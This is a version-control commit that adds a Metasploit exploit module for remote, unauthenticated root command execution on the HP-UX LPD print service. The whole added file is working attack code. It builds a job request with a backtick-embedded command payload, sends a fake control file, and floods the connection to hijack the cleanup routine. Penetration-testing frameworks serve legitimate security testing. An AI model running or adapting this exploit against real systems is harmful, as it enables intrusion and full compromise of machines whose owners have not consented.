Another port

git-svn-id: file:///home/svn/incoming/trunk@3383 4d416f70-5f16-0410-b530-b9f4589650da
unstable
HD Moore 2006-01-16 04:02:38 +00:00
parent 6f833ff1fb
commit 8c1194eccd
1 changed files with 95 additions and 0 deletions

View File

@ -0,0 +1,95 @@
require 'msf/core'
module Msf
class Exploits::Hpux::Lpd::CleanupExec < Msf::Exploit::Remote
include Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'HP-UX LPD Command Execution',
'Description' => %q{
This exploit abuses an unpublished vulnerability in the
HP-UX LPD service. This flaw allows an unauthenticated
attacker to execute arbitrary commands with the privileges
of the root user. The LPD service is only exploitable when
the address of the attacking system can be resolved by the
target. This vulnerability was silently patched with the
buffer overflow flaws addressed in HP Security Bulletin
HPSBUX0208-213.
},
'Author' => [ 'hdm' ],
'Version' => '$Revision$',
'References' =>
[
[ 'URL', 'http://archives.neohapsis.com/archives/hp/2002-q3/0064.html'],
],
'Platform' => ['unix', 'hpux'],
'Arch' => ARCH_CMD,
'Payload' =>
{
'Space' => 200,
'DisableNops' => true,
'BadChars' => "\x00\x09\x20\x2f",
},
'PayloadCompat' =>
{
"PayloadType" => "cmd",
},
'Targets' =>
[
[ 'Automatic Target', { }]
],
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(515)
], self.class)
end
def exploit
# The job ID is squashed down to three decimal digits
jid = ($$ % 1000).to_s + [Time.now.to_i].pack('N').unpack('H*')[0]
# Connect to the LPD service
connect
print_status("Sending our job request with embedded command string...")
# Send the job request with the encoded command
sock.put(
"\x02" + Rex::Text.rand_text_alphanumeric(3) + jid +
"`" + payload.encoded + "`\n"
)
res = sock.get_once(1)
if (res[0] != 0)
print_status("The target did not accept our job request")
return
end
print_status("Sending our fake control file...")
sock.put("\x02 32 cfA" + Rex::Text.rand_text_alphanumeric(8) + "\n")
res = sock.get_once(1)
if (res[0] != 0)
print_status("The target did not accept our control file")
return
end
print_status("Forcing an error and hijacking the cleanup routine...")
begin
sock.put(Rex::Text.rand_text_alphanumeric(16384))
disconnect
rescue
end
end
end
end